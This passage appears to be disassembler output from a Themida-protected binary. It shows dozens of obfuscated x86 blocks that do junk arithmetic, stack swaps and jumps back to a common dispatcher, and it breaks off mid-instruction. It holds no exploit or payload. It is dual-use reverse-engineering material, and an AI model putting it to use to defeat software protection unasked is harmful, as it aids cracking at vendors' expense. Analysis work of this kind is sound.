--------------------------------------------------------------------------- loc_564E23: ; CODE XREF: Themida_:0055ADE4j not eax or eax, 38E45B8Bh jmp loc_558C45 ; --------------------------------------------------------------------------- loc_564E2F: ; CODE XREF: Themida_:00558BAEj mov edi, 10E85B0Ah mov ebp, 10E85B0Eh xor ebp, edi jmp loc_55B29C ; --------------------------------------------------------------------------- loc_564E40: ; CODE XREF: Themida_:0055054Ej mov [esp], edx push esp push dword ptr [esp] pop edx push edx mov edx, esp push esi mov esi, 770A0206h and esi, 4077272h neg esi add esi, 4020206h add edx, esi jmp loc_554098 ; --------------------------------------------------------------------------- loc_564E66: ; CODE XREF: Themida_:0055FAF6j sub ebp, 3F6F1570h add ebp, 0A0175ECAh add eax, ebp pop ebp add eax, 58769CCh jmp loc_557C54 ; --------------------------------------------------------------------------- loc_564E7F: ; CODE XREF: Themida_:00557A9Dj pop esp mov [esp], esi push 7011h mov [esp], ebp jmp loc_55EAA6 ; --------------------------------------------------------------------------- loc_564E90: ; CODE XREF: Themida_:005622A0j push dword ptr [esp] jmp loc_5556A5 ; --------------------------------------------------------------------------- loc_564E98: ; CODE XREF: Themida_:005527BEj mov [esp], ebp push esp mov ebp, [esp] push ebx jmp loc_56421A ; --------------------------------------------------------------------------- loc_564EA5: ; CODE XREF: Themida_:00561EF9j add esp, 4 xor ecx, [esp] xor [esp], ecx jmp loc_55DEC1 ; --------------------------------------------------------------------------- loc_564EB3: ; CODE XREF: Themida_:00555B15j add ecx, ebp pop ebp add ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] jmp loc_557415 ; --------------------------------------------------------------------------- loc_564EC7: ; CODE XREF: Themida_:00561240j mov al, 18h add bl, 17h add bl, al push ecx mov cl, 3Ch shr cl, 8 xor cl, 17h sub bl, cl pop ecx mov ax, [esp] jmp loc_557FF8 ; --------------------------------------------------------------------------- loc_564EE3: ; CODE XREF: Themida_:005536C2j mov edi, 2 sub ebp, 68734AC3h add ebp, 653B6BF1h jmp loc_553F53 ; --------------------------------------------------------------------------- loc_564EF9: ; CODE XREF: Themida_:0055E1CBj add eax, 4 jmp loc_562A4B ; --------------------------------------------------------------------------- loc_564F03: ; CODE XREF: Themida_:005521F2j neg edi add edi, 2FF8E6CDh xor ebx, edi jmp loc_564F62 ; --------------------------------------------------------------------------- loc_564F12: ; CODE XREF: Themida_:0055D521j mov esp, [esp] mov [edx], cl pop ecx jmp loc_550420 ; --------------------------------------------------------------------------- loc_564F1D: ; CODE XREF: Themida_:0055653Bj push 2C62h mov [esp], eax push esp jmp loc_563ACC ; --------------------------------------------------------------------------- loc_564F2B: ; CODE XREF: Themida_:005585A6j add esi, 4 push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp mov esi, [esp] jmp loc_556C4C ; --------------------------------------------------------------------------- loc_564F43: ; CODE XREF: Themida_:005578C8j mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], ecx push 9Bh jmp loc_557AD4 ; --------------------------------------------------------------------------- loc_564F62: ; CODE XREF: Themida_:00564F0Dj pop edi mov edi, ebx pop ebx add esi, 782032C6h add esi, edi jmp loc_556599 ; --------------------------------------------------------------------------- loc_564F73: ; CODE XREF: Themida_:0055E26Fj pop esi jmp loc_5512B8 ; --------------------------------------------------------------------------- loc_564F79: ; CODE XREF: Themida_:00558FFBj xchg ecx, ebp and ebp, 749230DBh add ebp, 0BFFFEFF9h add ebx, ebp pop ebp jmp loc_559734 ; --------------------------------------------------------------------------- loc_564F8F: ; CODE XREF: Themida_:0055D27Aj mov esi, 6FF42091h xor esi, 1DD50B24h xor esi, 6D312E19h neg esi jmp loc_5555BB ; --------------------------------------------------------------------------- loc_564FA7: ; CODE XREF: Themida_:0055A0D2j add edx, ebx pop ebx xor edx, [esp] xor [esp], edx jmp loc_552237 ; --------------------------------------------------------------------------- loc_564FB5: ; CODE XREF: Themida_:0055A76Bj sub edi, ecx pop ecx push edi push dword ptr [esp+4] jmp loc_552CFB ; --------------------------------------------------------------------------- loc_564FC2: ; CODE XREF: Themida_:00561D5Cj xchg ebp, [esp] pop esp push 1502h mov [esp], ecx jmp loc_552BF4 ; --------------------------------------------------------------------------- loc_564FD3: ; CODE XREF: Themida_:0055D1DDj inc ecx add ecx, 0FEED922Ah sub ebp, 58D108A8h add ebp, 4F0C5A08h add ebp, ecx sub ebp, 4F0C5A08h add ebp, 58D108A8h mov ecx, [esp] add esp, 4 jmp loc_555698 ; --------------------------------------------------------------------------- loc_565002: ; CODE XREF: Themida_:0055E644j neg ebp shl ebp, 5 push edi jmp loc_557C8B ; --------------------------------------------------------------------------- mov ax, [esp] push 5D16h mov [esp], eax mov eax, esp add eax, 4 sub eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp jmp loc_55E7C5 ; --------------------------------------------------------------------------- loc_565032: ; CODE XREF: Themida_:0055DA56j push esi mov esi, 0FBF1CA6h jmp loc_55D439 ; --------------------------------------------------------------------------- loc_56503D: ; CODE XREF: Themida_:0055B5D3j push ebp mov ebp, esp push eax mov eax, 4 add ebp, eax mov eax, [esp] add esp, 4 push ebx mov ebx, 4 add ebp, ebx pop ebx xchg ebp, [esp] pop esp xor eax, [esp] xor [esp], eax jmp loc_5579C3 ; --------------------------------------------------------------------------- loc_565069: ; CODE XREF: Themida_:005537FEj push eax push edx jmp loc_5571E1 ; --------------------------------------------------------------------------- loc_565070: ; CODE XREF: Themida_:005590EAj sub dh, bl pop bx mov bl, dh pop edx xor ch, bl mov ebx, [esp] jmp loc_55B3B4 ; --------------------------------------------------------------------------- loc_565081: ; CODE XREF: Themida_:005512BCj pop eax pop ebp add eax, 6CD319C6h add eax, 78F94D5Fh jmp loc_55A807 ; --------------------------------------------------------------------------- loc_565092: ; CODE XREF: Themida_:00563B55j pop eax add eax, ecx mov ecx, [esp] sub esp, 4 mov [esp], esi sub esp, 4 mov [esp], esp jmp loc_55E14A ; --------------------------------------------------------------------------- loc_5650AF: ; CODE XREF: Themida_:0055234Aj xor [esp], edx xor edx, [esp] mov esp, [esp] and eax, esi push dword ptr [esp] pop esi add esp, 4 shr eax, 18h xor eax, ecx sub esp, 4 mov [esp], eax sub esp, 4 mov [esp], ecx push dword ptr [esp+4] mov ecx, [esp] sub esp, 4 mov [esp], edi jmp loc_56164C ; --------------------------------------------------------------------------- loc_5650E7: ; CODE XREF: Themida_:005573EEj add bl, 19h sub bl, dl push edx mov dh, 36h dec dh or dh, 32h jmp loc_550927 ; --------------------------------------------------------------------------- loc_5650F9: ; CODE XREF: Themida_:00551314j push small 2C54h mov [esp], bx jmp loc_561C3F ; --------------------------------------------------------------------------- loc_565106: ; CODE XREF: Themida_:00556368j push ebx mov ebx, 4 add edi, ebx mov ebx, [esp] jmp loc_553632 ; --------------------------------------------------------------------------- loc_565116: ; CODE XREF: Themida_:00556FF4j pop esp jmp loc_556AB6 ; --------------------------------------------------------------------------- loc_56511C: ; CODE XREF: Themida_:00556A5Bj push dword ptr [esp] jmp loc_55C661 ; --------------------------------------------------------------------------- loc_565124: ; CODE XREF: Themida_:00552476j sub bl, dl pop edx jmp loc_550FDF ; --------------------------------------------------------------------------- loc_56512C: ; CODE XREF: Themida_:0055117Ej mov ecx, 0F9F2575h xor ecx, 330F190Dh not ecx add ecx, 6CAD62DBh jmp loc_560302 ; --------------------------------------------------------------------------- loc_565144: ; CODE XREF: Themida_:00563391j mov [esp], esi mov esi, 4 add edx, esi push dword ptr [esp] mov esi, [esp] add esp, 4 add esp, 4 push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] jmp loc_5599B5 ; --------------------------------------------------------------------------- loc_565168: ; CODE XREF: Themida_:00556E6Ej mov ebx, esp jmp loc_557DBC ; --------------------------------------------------------------------------- loc_56516F: ; CODE XREF: Themida_:0055B705j mov ebx, 4D2959B0h shl ebx, 6 push ecx jmp loc_55A65F ; --------------------------------------------------------------------------- loc_56517D: ; CODE XREF: Themida_:0055C653j sub al, bl sub al, 0E4h sub esp, 2 mov [esp], bx push dx mov dl, 0C8h mov bl, dl mov dx, [esp] push esi push esp jmp loc_5607D7 ; --------------------------------------------------------------------------- loc_565199: ; CODE XREF: Themida_:005630BEj mov esi, eax jmp loc_55D45A ; --------------------------------------------------------------------------- loc_5651A0: ; CODE XREF: Themida_:00556B35j mov dl, 2 xor ch, dl pop dx sub bl, 34h add bl, ch add bl, 34h pop ecx push ecx mov cl, 9Bh shl cl, 3 and cl, 80h shr cl, 6 dec cl inc cl sub cl, 0D7h sub bl, 0EDh add bl, cl sub esp, 4 mov [esp], edx jmp loc_55451E ; --------------------------------------------------------------------------- loc_5651D5: ; CODE XREF: Themida_:0055FC90j mov edx, [esp] add esp, 4 pop ecx loc_5651DF: ; CODE XREF: Themida_:00558C2Ej push 1A22h mov [esp], ebp jmp loc_5581EA ; --------------------------------------------------------------------------- loc_5651EC: ; CODE XREF: Themida_:0055450Fj push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp push dword ptr [edi+1Ch] jmp loc_552A89 ; --------------------------------------------------------------------------- loc_565204: ; CODE XREF: Themida_:0055387Aj mov edi, esp push edx mov edx, esp add edx, 4 sub edx, 4 jmp loc_55E965 ; --------------------------------------------------------------------------- loc_565217: ; CODE XREF: Themida_:00551E37j jmp loc_550420 ; --------------------------------------------------------------------------- loc_56521C: ; CODE XREF: Themida_:00554CDBj add esp, 4 sub esi, 61BB6BD9h neg esi jmp loc_560AFF ; --------------------------------------------------------------------------- loc_56522F: ; CODE XREF: Themida_:0055E125j push esi jmp loc_554E91 ; --------------------------------------------------------------------------- loc_565235: ; CODE XREF: Themida_:005580B6j sub al, 8Bh jmp loc_565566 ; --------------------------------------------------------------------------- loc_56523C: ; CODE XREF: Themida_:00552BA3j pop ecx pop edi add esi, ebp jmp loc_56293D ; --------------------------------------------------------------------------- loc_565245: ; CODE XREF: Themida_:0056375Aj add ecx, 1 dec ecx jmp loc_555609 ; --------------------------------------------------------------------------- loc_565251: ; CODE XREF: Themida_:00557625j xchg eax, [esp] pop esp mov [esp], ebx mov ebx, esp push edx mov edx, 71A77992h add edx, 15BC0BB9h jmp loc_5594E1 ; --------------------------------------------------------------------------- loc_56526B: ; CODE XREF: Themida_:0055CFDCj pop ebx xor esi, ecx mov ecx, [esp] add esp, 4 jmp loc_558D1D ; --------------------------------------------------------------------------- loc_565279: ; CODE XREF: Themida_:00557D12j add esp, 4 push 1C96h mov [esp], edx mov edx, 4 push edx push ecx mov ecx, 22844747h shr ecx, 8 not ecx sub ecx, 0B3856710h mov edx, ecx jmp loc_5591C6 ; --------------------------------------------------------------------------- loc_5652A5: ; CODE XREF: Themida_:005546EFj add ebp, 4 xchg ebp, [esp] pop esp push 4654h mov [esp], ecx push ebp push 16354023h pop ebp xor ebp, 16354021h jmp loc_55F6C5 ; --------------------------------------------------------------------------- loc_5652C9: ; CODE XREF: Themida_:005636CFj mov [esp], eax mov eax, 451317D4h sub eax, 3FEB556Dh not eax shr eax, 3 sub eax, 0FCA3C14Ah dec eax shr eax, 4 jmp loc_5558A3 ; --------------------------------------------------------------------------- loc_5652E9: ; CODE XREF: Themida_:00557992j push eax mov eax, 4 sub ebx, 18862C4Ah add ebx, eax jmp loc_564B8A ; --------------------------------------------------------------------------- loc_5652FC: ; CODE XREF: Themida_:0055B24Ej mov esi, [esp] add esp, 4 push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] jmp loc_55D0ED ; --------------------------------------------------------------------------- loc_565319: ; CODE XREF: Themida_:005548C8j mov ecx, 778C7822h jmp loc_55E849 ; --------------------------------------------------------------------------- loc_565323: ; CODE XREF: Themida_:00556586j and edx, 1DBF5DEAh jmp loc_563231 ; --------------------------------------------------------------------------- loc_56532E: ; CODE XREF: Themida_:00550F32j push ax pushf jmp loc_550420 ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_560509 ; --------------------------------------------------------------------------- loc_56533E: ; CODE XREF: Themida_:0055E7A8j jmp loc_550420 ; --------------------------------------------------------------------------- loc_565343: ; CODE XREF: Themida_:005551C1j sub ebx, 5E863B2h jmp loc_55A66B ; --------------------------------------------------------------------------- loc_56534E: ; CODE XREF: Themida_:0055048Ej mov dl, bl jmp loc_5656F7 ; --------------------------------------------------------------------------- loc_565355: ; CODE XREF: Themida_:005576D7j not esi xor esi, 48CE1A72h jmp loc_551D69 ; --------------------------------------------------------------------------- loc_565362: ; CODE XREF: Themida_:00555327j push edi mov edi, 50617495h shr edi, 8 inc edi sub edi, 0B31BFBDCh add ebx, edi jmp loc_564B81 ; --------------------------------------------------------------------------- loc_565379: ; CODE XREF: Themida_:00556993j xor ebx, edx pop edx xor ebx, 9FEE868Ch add edi, ebx pop ebx sub edi, 4 xchg edi, [esp] pop esp mov [esp], ebx sub esp, 4 mov [esp], esi push eax mov eax, 0D064AB9h mov esi, 0D064ABDh sub esi, eax pop eax jmp loc_55A42D ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop eax sbb [esp], eax pushf jmp loc_550420 ; --------------------------------------------------------------------------- loc_5653B6: ; CODE XREF: Themida_:005561E8j xor ebp, 5DBB6CBBh mov edi, ebp mov ebp, [esp] add esp, 4 add eax, edi jmp loc_5553C0 ; --------------------------------------------------------------------------- loc_5653CB: ; CODE XREF: Themida_:00561C03j push 5E6Eh mov [esp], edi mov edi, 0FB373EBh xchg ebx, edi not ebx xchg ebx, edi and edi, 0B7324F5h push edx push esi push ebx mov ebx, 369F291Ch mov esi, 0ACD8574Dh jmp loc_562F08 ; --------------------------------------------------------------------------- loc_5653F6: ; CODE XREF: Themida_:005508E3j add eax, edx jmp loc_561356 ; --------------------------------------------------------------------------- loc_5653FD: ; CODE XREF: Themida_:005555B6j push ebx mov bh, 0AEh push ecx mov ch, bh mov dl, ch pop ecx pop ebx jmp loc_55441F ; --------------------------------------------------------------------------- loc_56540C: ; CODE XREF: Themida_:005636A9j pop esp jmp loc_563943 ; --------------------------------------------------------------------------- loc_565412: ; CODE XREF: Themida_:0055A197j pop ecx add eax, ebp pop ebp jmp loc_552D9E ; --------------------------------------------------------------------------- loc_56541B: ; CODE XREF: Themida_:00561D9Aj add esp, 4 push ebp push edx mov edx, 4C930D8Dh mov ebp, 0CE5C0D43h add ebp, edx pop edx add eax, 5A0707DBh jmp loc_55A318 ; --------------------------------------------------------------------------- loc_565437: ; CODE XREF: Themida_:00554CA6j or dl, bl pop bx and dl, 0A2h push small 7C30h mov [esp], cx mov ch, 6Ah add dl, ch mov cx, [esp] add esp, 2 add al, dl pop edx push ecx jmp loc_555FBD ; --------------------------------------------------------------------------- loc_56545D: ; CODE XREF: Themida_:00550FE2j push ecx mov cl, 0CEh shr cl, 8 push ax mov al, 8 inc al inc al jmp loc_5517E9 ; --------------------------------------------------------------------------- loc_565470: ; CODE XREF: Themida_:0055D4A6j pop eax jmp loc_563EEF ; --------------------------------------------------------------------------- loc_565476: ; CODE XREF: Themida_:00556066j mov eax, 37D73E1Dh mov ebx, 674587F4h sub ebx, eax pop eax not ebx or ebx, 0FE820ADh not ebx inc ebx sub ebx, 1 shl ebx, 8 push 5BDBh jmp loc_564461 ; --------------------------------------------------------------------------- loc_5654A1: ; CODE XREF: Themida_:00554B39j mov ecx, 4 jmp loc_556F84 ; --------------------------------------------------------------------------- loc_5654AB: ; CODE XREF: Themida_:00563FBCj add ecx, esi jmp loc_55DC8C ; --------------------------------------------------------------------------- loc_5654B2: ; CODE XREF: Themida_:00560304j mov ecx, [esp] add esp, 4 push edi not dword ptr [esp] pop edi push eax mov eax, 3F4140E0h sub edi, eax pop eax sub edi, 0CAA9502h jmp loc_5520F4 ; --------------------------------------------------------------------------- loc_5654D4: ; CODE XREF: Themida_:0055C20Ej and ebx, edx pop edx add ebx, 0D0AF2050h mov edi, ebx pop ebx xor eax, edi pop edi add edi, eax mov eax, [esp] add esp, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] sub esp, 4 mov [esp], esi mov esi, esp add esi, 4 jmp loc_564433 ; --------------------------------------------------------------------------- loc_565510: ; CODE XREF: Themida_:0055DD9Aj push dword ptr [esp] jmp loc_55848D ; --------------------------------------------------------------------------- loc_565518: ; CODE XREF: Themida_:00563E49j pop ecx pop dword ptr [esp] jmp loc_558663 ; --------------------------------------------------------------------------- loc_565521: ; CODE XREF: Themida_:0055E09Cj or dh, cl pop ecx push eax push esp pop eax add eax, 4 sub eax, 4 push eax jmp loc_5649C5 ; --------------------------------------------------------------------------- loc_565535: ; CODE XREF: Themida_:00551162j add ch, 15h xor bh, ch jmp loc_5534BC ; --------------------------------------------------------------------------- loc_56553F: ; CODE XREF: Themida_:00565AD0j push ecx mov ecx, esp push ebx mov ebx, 4 add ecx, 23635436h add ecx, ebx sub ecx, 23635436h pop ebx sub ecx, 4 xchg ecx, [esp] pop esp jmp loc_55D9A2 ; --------------------------------------------------------------------------- loc_565566: ; CODE XREF: Themida_:00565237j add al, ch add al, 8Bh jmp loc_558867 ; --------------------------------------------------------------------------- loc_56556F: ; CODE XREF: Themida_:00557F20j sub eax, 4C247E1h jmp loc_56200A ; --------------------------------------------------------------------------- loc_565579: ; CODE XREF: Themida_:0055486Fj push esi mov esi, 4 add edi, esi jmp loc_550884 ; --------------------------------------------------------------------------- loc_565586: ; CODE XREF: Themida_:00563692j not edx shr edx, 5 sub edx, 0FDDB31F6h add ebp, edx jmp loc_562EBA ; --------------------------------------------------------------------------- loc_565598: ; CODE XREF: Themida_:00556C1Ej sub edx, edi mov edi, [esp] add esp, 4 jmp loc_555DEC ; --------------------------------------------------------------------------- loc_5655A8: ; CODE XREF: Themida_:0055B963j pop edi jmp loc_556998 ; --------------------------------------------------------------------------- loc_5655AE: ; CODE XREF: Themida_:0055D66Ej mov ecx, [esp] add esp, 4 jmp loc_5563FB ; --------------------------------------------------------------------------- loc_5655BC: ; CODE XREF: Themida_:00557122j pop eax and eax, ebx jmp loc_557C2D ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_5587EF ; --------------------------------------------------------------------------- loc_5655CC: ; CODE XREF: Themida_:0055AE51j push 1FCDh mov [esp], edx push 146Eh mov [esp], eax mov eax, 1D051736h shl eax, 7 shl eax, 1 jmp loc_55D49F ; --------------------------------------------------------------------------- loc_5655EB: ; CODE XREF: Themida_:00562E23j mov [esp], edi jmp loc_5545F0 ; --------------------------------------------------------------------------- loc_5655F3: ; CODE XREF: Themida_:005554B3j push ecx mov cl, 67h push edx mov dl, 0CFh sub dl, 61h jmp loc_556FC1 ; --------------------------------------------------------------------------- loc_565601: ; CODE XREF: Themida_:00553DD4j pop esi add edi, ebp pop ebp push edx mov edx, esp add edx, 4 jmp loc_555FA4 ; --------------------------------------------------------------------------- loc_565613: ; CODE XREF: Themida_:00563D4Cj pop edx neg esi not esi push edi mov edi, 579F425Ch add edi, 0FFFFFFFFh jmp loc_556F32 ; --------------------------------------------------------------------------- loc_565626: ; CODE XREF: Themida_:0055C63Dj push eax mov eax, 24006D38h add edi, eax pop eax add ebx, 64EC6245h add ebx, edi push ecx jmp loc_55634E ; --------------------------------------------------------------------------- loc_56563D: ; CODE XREF: Themida_:005545CAj mov esi, [esp] add esp, 4 jmp loc_558350 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcr dword ptr [esp], cl pushf jmp loc_550420 ; --------------------------------------------------------------------------- loc_56565A: ; CODE XREF: Themida_:00551E0Cj mov [esp], ebp mov ebp, 4 add [esp+4], ebp pop ebp push dword ptr [esp] jmp loc_562879 ; --------------------------------------------------------------------------- loc_56566F: ; CODE XREF: Themida_:0055E0A3j push 0D59234Fh pop ecx jmp loc_563D25 ; --------------------------------------------------------------------------- loc_56567A: ; CODE XREF: Themida_:00555FABj mov [esp], ebp push 5BE4h jmp loc_5616E3 ; --------------------------------------------------------------------------- loc_565687: ; CODE XREF: Themida_:00554DDCj mov edi, edx mov ebx, edi pop edi pop edx add ecx, ebx mov ebx, [esp] jmp loc_561797 ; --------------------------------------------------------------------------- loc_565697: ; CODE XREF: Themida_:00557742j and edx, 0A7363E8h sub edx, 0A744C8EFh add ebx, edx pop edx mov esi, [esp] push 548Eh mov [esp], edi push esp jmp loc_561DC4 ; --------------------------------------------------------------------------- loc_5656B7: ; CODE XREF: Themida_:0055541Dj mov ebx, 1 sub edx, ebx pop ebx inc edx shr edx, 4 sub esp, 4 mov [esp], ebp push ecx push esi mov esi, 56670AE0h push edi mov edi, 502E1601h jmp loc_55BD46 ; --------------------------------------------------------------------------- loc_5656DB: ; CODE XREF: Themida_:00556F5Ej mov [esp], eax jmp loc_561E76 ; --------------------------------------------------------------------------- loc_5656E3: ; CODE XREF: Themida_:0056075Dj push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] sar dword ptr [esp], cl pushf jmp loc_550420 ; --------------------------------------------------------------------------- loc_5656F7: ; CODE XREF: Themida_:00565350j pop ebx add dl, 9Fh add cl, dl pop edx add al, cl mov ecx, [esp] push edi mov edi, esp add edi, 4 jmp loc_5592F6 ; --------------------------------------------------------------------------- loc_565711: ; CODE XREF: Themida_:0056393Ej push 76F1h mov [esp], esp sub esp, 4 jmp loc_55D9C9 ; --------------------------------------------------------------------------- loc_565721: ; CODE XREF: Themida_:0055B97Cj add ecx, 5E5E3C23h add ecx, ebp jmp loc_55FB46 ; --------------------------------------------------------------------------- loc_56572E: ; CODE XREF: Themida_:00561605j sub eax, esi sub eax, 46AC7A57h pop esi mov edi, [esp] jmp loc_55F6FA ; --------------------------------------------------------------------------- loc_56573E: ; CODE XREF: Themida_:00563887j mov [esp], ecx mov ecx, 6A27099Eh push edx mov edx, 4D744047h and ecx, edx pop edx sub ecx, 0E48FBC18h or edx, ecx mov ecx, [esp] add esp, 4 xor edx, eax xor eax, edx xor edx, eax add eax, 0FFFFFFFFh xchg eax, edx add edx, 27D3369Ah add ebp, edx mov edx, [esp] add esp, 4 push esi mov esi, 308A34B9h add [esp+8], esi jmp loc_551309 ; --------------------------------------------------------------------------- loc_565787: ; CODE XREF: Themida_:00556DD3j push ecx jmp loc_557CE1 ; --------------------------------------------------------------------------- loc_56578D: ; CODE XREF: Themida_:005582E0j push edx mov dl, 0DBh xor dl, 3Ch and cl, dl pop edx neg cl dec cl sub cl, 16h sub bl, cl pop ecx sub bl, 39h jmp loc_552FB1 ; --------------------------------------------------------------------------- loc_5657A8: ; CODE XREF: Themida_:0055E601j add ebx, 4 sub ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp mov [esp], edx push 2Ch mov edx, [esp] add esp, 4 push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], ecx mov ecx, 779D703Ah sub edx, ecx pop ecx sub edx, 1DA55E51h add edx, edi add edx, 1DA55E51h add edx, 779D703Ah push ecx mov ecx, 0 add ecx, edx push edx mov edx, 0 add edx, ecx add eax, [edx] pop edx mov ecx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp push dword ptr [esp] pop edx jmp loc_561944 ; --------------------------------------------------------------------------- loc_56582D: ; CODE XREF: Themida_:00557DD8j sub ebx, 764D2083h push edx mov edx, 21185C4Ah add edx, 6B895E43h shl edx, 7 sub edx, 0E8983BB2h jmp loc_5537D7 ; --------------------------------------------------------------------------- loc_56584D: ; CODE XREF: Themida_:00552DB2j mov [esp], edi mov edi, 6EA02EEh add eax, edi pop edi pop ecx xor eax, [esp] xor [esp], eax xor eax, [esp] jmp loc_55D04E ; --------------------------------------------------------------------------- loc_565867: ; CODE XREF: Themida_:00555BAFj sub eax, edi add eax, 7189172Fh mov edi, [esp] add esp, 4 add ebx, 408C6DAEh push ebp mov ebp, 9001D6Bh shl ebp, 3 not ebp xor ebp, 1A7A3AAAh xor ebp, 0CACC3909h jmp loc_552F9E ; --------------------------------------------------------------------------- loc_565899: ; CODE XREF: Themida_:005618DAj push 5419h mov [esp], ebx jmp loc_5564DE ; --------------------------------------------------------------------------- loc_5658A6: ; CODE XREF: Themida_:005617D6j sub bl, al add bl, 95h push eax mov ah, 84h jmp loc_55B861 ; --------------------------------------------------------------------------- loc_5658B3: ; CODE XREF: Themida_:005641F5j add esi, edi push dword ptr [esp] pop edi add esp, 4 jmp loc_563808 ; --------------------------------------------------------------------------- loc_5658C1: ; CODE XREF: Themida_:00557DF5j add ebp, 2 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp jmp loc_551E6A ; --------------------------------------------------------------------------- loc_5658D6: ; CODE XREF: Themida_:00554194j pop ebp jmp loc_55871B ; --------------------------------------------------------------------------- loc_5658DC: ; CODE XREF: Themida_:00560D77j mov [esp], ebp push 4067C5Ch mov ebp, [esp] push 7E45h mov [esp], ebp mov ebp, esp jmp loc_55B9D9 ; --------------------------------------------------------------------------- loc_5658F6: ; CODE XREF: Themida_:005526D7j sub al, 2 sub al, 0AFh add al, dh jmp loc_55CD18 ; --------------------------------------------------------------------------- loc_565901: ; CODE XREF: Themida_:00552619j or [edi+1Ch], ebx pop ebx jmp loc_55DE7A ; --------------------------------------------------------------------------- loc_56590A: ; CODE XREF: Themida_:0055E0F9j pop ecx push edx mov edx, esp add edx, 4 sub edx, 4 push edx jmp loc_55D9D6 ; --------------------------------------------------------------------------- loc_565920: ; CODE XREF: Themida_:00552232j mov eax, [esp] add esp, 4 jmp loc_55F04E ; --------------------------------------------------------------------------- loc_56592E: ; CODE XREF: Themida_:00561B81j pop ecx add esp, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], esi push dword ptr [esp+4] jmp loc_5575B6 ; --------------------------------------------------------------------------- loc_565945: ; CODE XREF: Themida_:00561CC8j mov ebp, [esp] add esp, 4 xor ebx, [esp] xor [esp], ebx jmp loc_55F55E ; --------------------------------------------------------------------------- loc_565959: ; CODE XREF: Themida_:00557EFFj and edi, 41FC64D6h xor edi, 41DC6488h xor edx, edi mov edi, [esp] add esp, 4 mov esi, edx pop edx add ebp, 45B17284h add ebp, esi sub ebp, 45B17284h jmp loc_552AAF ; --------------------------------------------------------------------------- loc_565986: ; CODE XREF: Themida_:0055D0F1j mov esp, [esp] and [esp], eax pushf jmp loc_550420 ; --------------------------------------------------------------------------- loc_565992: ; CODE XREF: Themida_:00556AB1j add edx, 4 xor edx, [esp] jmp loc_5525DB ; --------------------------------------------------------------------------- loc_5659A0: ; CODE XREF: Themida_:00550EBAj mov dl, ch mov bh, dl jmp loc_55E9A6 ; --------------------------------------------------------------------------- loc_5659A9: ; CODE XREF: Themida_:00551213j add ecx, 4 sub ecx, 4 xchg ecx, [esp] mov esp, [esp] jmp loc_55B81D ; --------------------------------------------------------------------------- loc_5659BD: ; CODE XREF: Themida_:00554541j sub esi, 4 xchg esi, [esp] jmp loc_56225C ; --------------------------------------------------------------------------- loc_5659CB: ; CODE XREF: Themida_:005555AFj push edx mov edx, esp add edx, 4 push eax mov eax, 4 add edx, eax mov eax, [esp] add esp, 4 push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] jmp loc_558C29 ; --------------------------------------------------------------------------- loc_5659F3: ; CODE XREF: Themida_:0055FD48j sub dh, ch sub dh, 0D7h add dh, 97h mov ecx, [esp] add esp, 4 mov ch, dh pop edx jmp loc_55D192 ; --------------------------------------------------------------------------- loc_565A0C: ; CODE XREF: Themida_:0055B007j not edx not edx xor edx, 68DD1EE6h or eax, edx pop edx dec eax add eax, 6B82463Bh inc eax sub eax, 0D09075FFh sub edx, eax pop eax jmp loc_5530C2 ; --------------------------------------------------------------------------- loc_565A2D: ; CODE XREF: Themida_:005513AAj sub ebp, 4730E9D4h inc ebp dec ebp neg ebp jmp loc_558958 ; --------------------------------------------------------------------------- loc_565A3C: ; CODE XREF: Themida_:00551FC6j sub ebp, 5E97563Dh sub ebp, 1EB25EA9h mov ebx, [esp] jmp loc_5637EA ; --------------------------------------------------------------------------- loc_565A50: ; CODE XREF: Themida_:0055904Cj add ebx, 0EE00893Dh sub [esp+4], ebx jmp loc_553A50 ; --------------------------------------------------------------------------- loc_565A5F: ; CODE XREF: Themida_:0055415Bj sub ebx, edi pop edi push edx mov edx, 21A90A78h or ebx, edx pop edx and ebx, 1F2E1438h push 5DEFh mov [esp], ebx xor [esp], esi xor esi, [esp] xor [esp], esi jmp loc_55A707 ; --------------------------------------------------------------------------- loc_565A87: ; CODE XREF: Themida_:0055103Dj pop esp sub dh, 1 or dh, 15h sub dh, 0B7h push ecx jmp loc_56350C ; --------------------------------------------------------------------------- loc_565A97: ; CODE XREF: Themida_:0055F476j mov edx, ebp pop ebp sub ebx, 37AC292Dh jmp loc_55741D ; --------------------------------------------------------------------------- loc_565AA5: ; CODE XREF: Themida_:0055D9C4j mov eax, 7E5838FBh push edx jmp loc_55E343 ; --------------------------------------------------------------------------- loc_565AB0: ; CODE XREF: Themida_:005536EAj sub ebp, 26B55E78h add ebp, ebx add ebp, 26B55E78h pop ebx jmp loc_560CB4 ; --------------------------------------------------------------------------- loc_565AC4: ; CODE XREF: Themida_:0055D3BAj push dword ptr [esp] push dword ptr [esp] jmp loc_562E9C ; --------------------------------------------------------------------------- loc_565ACF: ; CODE XREF: Themida_:00550FEDj pop esp jmp loc_56553F ; --------------------------------------------------------------------------- loc_565AD5: ; CODE XREF: Themida_:005639A2j push esp jmp loc_553684 ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_554254 ; --------------------------------------------------------------------------- loc_565AE4: ; CODE XREF: Themida_:0055BC0Cj mov [esp], esp add dword ptr [esp], 4 pop eax jmp loc_557690 ; --------------------------------------------------------------------------- loc_565AF4: ; CODE XREF: Themida_:0055720Dj or ebx, edx pop edx jmp loc_562476 ; --------------------------------------------------------------------------- loc_565AFC: ; CODE XREF: Themida_:005584BEj mov dh, 